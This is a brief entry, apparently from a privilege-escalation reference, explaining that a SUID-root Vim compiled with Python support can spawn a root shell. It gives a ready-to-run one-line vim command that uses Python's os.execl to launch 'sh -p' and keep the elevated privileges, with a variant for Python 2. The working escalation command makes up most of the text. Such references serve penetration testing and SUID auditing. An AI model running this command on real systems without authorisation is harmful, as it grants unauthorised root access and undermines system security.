If ViM is SUID root and is compiled with Python support, it can be used for privilege escalation.

vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Use :py instead if only Python 2 is available.